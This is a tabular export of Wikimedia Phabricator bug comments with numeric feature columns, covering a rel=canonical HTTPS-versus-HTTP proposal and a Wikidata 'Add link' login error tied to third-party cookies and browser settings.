221333,rel=canonical of https pages should point to http,Yep,,,1375237498,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,1,False,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Yep
221331,rel=canonical of https pages should point to http,"(In reply to comment #3)
> Until we're ready to switch to HTTPS for anons by default it makes sense to
> point HTTPS versions of pages to HTTP via rel=canonical. We should be setting
> one or the other, rather than having a split.
> 
> The load on the SSL cluster has been doubling month by month and this split
> may be the reason why. Unfortunately we don't have conclusive metrics to prove
> this, but making this setting explicit rules that out as a possibility.

So we should do this one now and bug 51002 next month/quarter/year/decade when we get around to it?",,,1375233942,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,19.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,0.0,6.0,8.0,10.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0416666666666665,0.6666666666666666,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

So we should do this one now and bug 51002 next month/quarter/year/decade when we get around to it?"
221327,rel=canonical of https pages should point to http,"Until we're ready to switch to HTTPS for anons by default it makes sense to point HTTPS versions of pages to HTTP via rel=canonical. We should be setting one or the other, rather than having a split.

The load on the SSL cluster has been doubling month by month and this split may be the reason why. Unfortunately we don't have conclusive metrics to prove this, but making this setting explicit rules that out as a possibility.",,,1375225337,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,5.0,17.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,18.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,1.0,7.0,3.0,9.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,5.0,17.0,2.0,0.0,0.0,0.0,5.0,0.0,1.0,2.0,0.0,6.0,0.0,0.0,0.0,4.0,0.7727272727272727,"Until we're ready to switch to HTTPS for anons by default it makes sense to point HTTPS versions of pages to HTTP via rel=canonical. We should be setting one or the other, rather than having a split.

The load on the SSL cluster has been doubling month by month and this split may be the reason why. Unfortunately we don't have conclusive metrics to prove this, but making this setting explicit rules that out as a possibility."
221322,rel=canonical of https pages should point to http,"I would strongly suggest WONTFIXing this bug in favour of 51002, which feels like a better solution given our long terms goals (see bug 47832).",,,1373379788,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,1,True,,,-8,True,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,3.0,3.0,0.0,0.0,4.103448275862069,0.9655172413793104,"I would strongly suggest WONTFIXing this bug in favour of 51002, which feels like a better solution given our long terms goals (see bug 47832)."
221319,rel=canonical of https pages should point to http,"(In reply to comment #0)
> it might explain the http-https google split and google
> rank penalty that Wikid77 has been discussing on WP:VP/T.

Link: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=554883644#Relinking_Google_for_SSL_https",,,1368453894,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.625,0.875,"(In reply to comment #0)
QUOTE
QUOTE

Link: URL"
50389,[Bug] Login issue with add language links widget,"> ""Whenever I try to add an interwiki link by following the ""Add link"" link in the ""Languages"" section, the following error message pops up: ""You need to be logged in. You need to be logged in on this wiki and in the central data repository to use this feature."" However, if I visit Wikidata it seems I am already logged in there with my global login. This problem occurs not just with English Wikipedia but with other Wikipedias. Is this a known issue? Regardless, this error message is supremely unhelpful; it doesn't provide any indication as to what the ""central data repository"" is or how to log in there. —Psychonaut (talk) 17:43, 11 May 2013 (UTC)""

(Reported at http://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#.22You_need_to_be_logged_in.22_error_when_trying_to_add_interwiki_links)

**See Also**:
{T68521}",High,80.0,1368390120,1443601911.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-USER-2mey32xhshfnf7rz7jjn,False,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_description,resolved,True,c2,1,True,False,False,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4444444444444446,0.7777777777777778,"QUOTE

(Reported at URL

**See Also**:
{T68521}"
537865,[Bug] Login issue with add language links widget,"Given this didn't make it into the branch this week, this is probably not going to be deployed to the Wikipedias before October 15.",,,1443601998,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,109,True,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,15.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,11.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,4.0,15.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.8518518518518519,"Given this didn't make it into the branch this week, this is probably not going to be deployed to the Wikipedias before October 15."
537864,[Bug] Login issue with add language links widget,"Change 238469 merged by jenkins-bot:
Use mw.ForeignApi in getLocationAgnosticMwApi

[[https://gerrit.wikimedia.org/r/238469]]",,,1443601890,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,109,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.333333333333333,0.9047619047619048,"Change 238469 merged by jenkins-bot:
Use mw.ForeignApi in getLocationAgnosticMwApi

[[GERRIT_URL]]"
527669,[Bug] Login issue with add language links widget,"Change 238469 had a related patch set uploaded (by Hoo man):
Use mw.ForeignApi in getLocationAgnosticMwApi

[[https://gerrit.wikimedia.org/r/238469]]
",,,1442332619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,106,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.074074074074074,0.8888888888888888,"Change 238469 had a related patch set uploaded (by Hoo man):
Use mw.ForeignApi in getLocationAgnosticMwApi

[[GERRIT_URL]]
"
521725,[Bug] Login issue with add language links widget,">>! In T50389#1612338, @Hdamm wrote:
> I'm getting this problem, too - since a couple of days? I'm also using Firefox (latest version).
> What can I do?
> Greetings
> hdamm

BTW - when I get that error message, I click on the link to log in to WikiData, where I get the ""Welcome to Wikidata"" message. Then I go back within the same tab(!) in Firefox, and reload it. That's when I get the same error message, again.
Maybe that helps?
Greetimgs
hdamm",,,1441530863,,PHID-USER-nfhf74f5bmvkv57czxli,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,105,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,4.0,1.0,9.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,9.0,11.0,1.0,2.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.575,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

BTW - when I get that error message, I click on the link to log in to WikiData, where I get the ""Welcome to Wikidata"" message. Then I go back within the same tab(!) in Firefox, and reload it. That's when I get the same error message, again.
Maybe that helps?
Greetimgs
hdamm"
521724,[Bug] Login issue with add language links widget,"I'm getting this problem, too - since a couple of days? I'm also using Firefox (latest version).
What can I do?
Greetings
hdamm",,,1441530107,,PHID-USER-nfhf74f5bmvkv57czxli,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,105,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,6.0,6.0,6.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,6.0,0.0,3.0,0.0,3.176470588235294,0.8235294117647058,"I'm getting this problem, too - since a couple of days? I'm also using Firefox (latest version).
What can I do?
Greetings
hdamm"
517207,[Bug] Login issue with add language links widget,"Yeah, this should be easy to fix now for someone who knows Wikibase's code. I tried, but I couldn't find where the Wikibase API code comes from.",,,1440874632,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,104,True,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,9.0,9.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,18.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,6.0,9.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5757575757575757,0.8484848484848485,"Yeah, this should be easy to fix now for someone who knows Wikibase's code. I tried, but I couldn't find where the Wikibase API code comes from."
517206,[Bug] Login issue with add language links widget,"Yeah, this should be easy to fix for someone who knows Wikibase's code. I tried, but I couldn't find where the Wikibase API code comes from.",,,1440874622,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,104,True,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,19.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,6.0,9.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.59375,0.84375,"Yeah, this should be easy to fix for someone who knows Wikibase's code. I tried, but I couldn't find where the Wikibase API code comes from."
508802,[Bug] Login issue with add language links widget,"AIUI, {T66636} will allow Wikibase to use centralauthtoken without depending upon CentralAuth explicitly (core takes care of the dependency internally) and centralauthtoken should bypass any cookie issues.",,,1439600095,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,102,True,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,5.424242424242424,0.9696969696969697,"AIUI, {T66636} will allow Wikibase to use centralauthtoken without depending upon CentralAuth explicitly (core takes care of the dependency internally) and centralauthtoken should bypass any cookie issues."
507300,[Bug] Login issue with add language links widget,Another occurrence was brought up in https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=675868961#InterWiki,,,1439461644,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,102,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.857142857142857,1.0,Another occurrence was brought up in URL
489786,[Bug] Login issue with add language links widget,"@Lydia_Pintscher or anyone else who might know:  Is this going to be fixed?  

It can't be SUL problems, because SUL finalization is done.  It can't be HTTP vs HTTPS, because everything is forced to HTTPS.  

If the problem is not accepting third-party cookies, then the message needs to say that (or the software needs to be changed to not need cookies).  

In the meantime, maybe someone would like to add [[w:ht:Lafyèv jòn]] to the list of articles about yellow fever.
",,,1436487973,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,97,True,0.0,2.0,0.0,2.5,2.5,1.5,0.5,1.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,10.5,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,4.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,9.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,1.0,1.0,0.0,0.0,0.0,4.0,4.5,7.0,1.5,1.5,5.5,0.0,0.0,0.0,0.0,6.5,0.0,1.0,0.0,1.0,10.5,5.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,2.5,3.5272727272727273,0.7363636363636363,"SCREEN_NAME or anyone else who might know:  Is this going to be fixed?  

It can't be SUL problems, because SUL finalization is done.  It can't be HTTP vs HTTPS, because everything is forced to HTTPS.  

If the problem is not accepting third-party cookies, then the message needs to say that (or the software needs to be changed to not need cookies).  

In the meantime, maybe someone would like to add [[w:ht:Lafyèv jòn]] to the list of articles about yellow fever.
"
403111,[Bug] Login issue with add language links widget,"I'm getting this problem, too.  I'm also using Firefox (latest version) with third-party cookies disabled.  It might be nice to have a help page about this somewhere on Wikidata.  
",,,1422231108,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,73,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,7.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,10.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,3.619047619047619,0.8571428571428571,"I'm getting this problem, too.  I'm also using Firefox (latest version) with third-party cookies disabled.  It might be nice to have a help page about this somewhere on Wikidata.  
"
393046,[Bug] Login issue with add language links widget,"Disabled noscript, but this does not make a change. Even then, the ''Add link'' does not consider me to be logged in to WD.",,,1419578131,,PHID-USER-cvjhvwd4dkky6b7a2tgi,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,69,True,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,3.0,0.0,13.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,13.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,10.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.8,"Disabled noscript, but this does not make a change. Even then, the ''Add link'' does not consider me to be logged in to WD."
391093,[Bug] Login issue with add language links widget,">>! In T50389#832492, @Herzi.Pinki wrote:
> thanks hoo, but I'm using a rather old firefox and I did not update since months. But I use noscript, maybe that is the problem? It updates regularily. Any hint on noscript?

I don't have time to test this right now, but changing your noscript settings could help (quite likely, actually).

If it does, a reply about what you did would be nice, so that others can see what to do.",,,1418933197,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,68,True,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,11.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,8.0,6.0,2.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3962264150943398,0.8301886792452831,"QUOTE
QUOTE

I don't have time to test this right now, but changing your noscript settings could help (quite likely, actually).

If it does, a reply about what you did would be nice, so that others can see what to do."
339643,[Bug] Login issue with add language links widget,"thanks hoo, but I'm using a rather old firefox and I did not update since months. But I use noscript, maybe that is the problem? It updates regularily. Any hint on noscript?",,,1418083677,,PHID-USER-cvjhvwd4dkky6b7a2tgi,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,66,True,3.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,10.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,15.0,3.0,8.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,5.0,3.0,5.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.641025641025641,0.8461538461538461,"thanks hoo, but I'm using a rather old firefox and I did not update since months. But I use noscript, maybe that is the problem? It updates regularily. Any hint on noscript?"
339616,[Bug] Login issue with add language links widget,">>! In T50389#831804, @Herzi.Pinki wrote:
> It still doesn't work for me.
> To be clear about: It worked perfectly before (about 8 weeks ago), but since then it doesn't . What have you changed related to authentication since then?

Nothing has changed on our side, the problem is that browsers keep changing and tend to get more restrictive regarding these things (third party cookies and things like that).",,,1418081680,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,66,True,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,4.256410256410256,0.8461538461538461,"QUOTE
QUOTE
QUOTE

Nothing has changed on our side, the problem is that browsers keep changing and tend to get more restrictive regarding these things (third party cookies and things like that)."
339559,[Bug] Login issue with add language links widget,"It still doesn't work for me.
To be clear about: It worked perfectly before (about 8 weeks ago), but since then it doesn't . What have you changed related to authentication since then?",,,1418075179,,PHID-USER-cvjhvwd4dkky6b7a2tgi,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,66,True,0.0,0.0,2.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,21.0,14.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,12.0,14.0,0.0,2.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.642857142857143,0.8333333333333334,"It still doesn't work for me.
To be clear about: It worked perfectly before (about 8 weeks ago), but since then it doesn't . What have you changed related to authentication since then?"
220700,[Bug] Login issue with add language links widget,"**psychonaut** wrote:

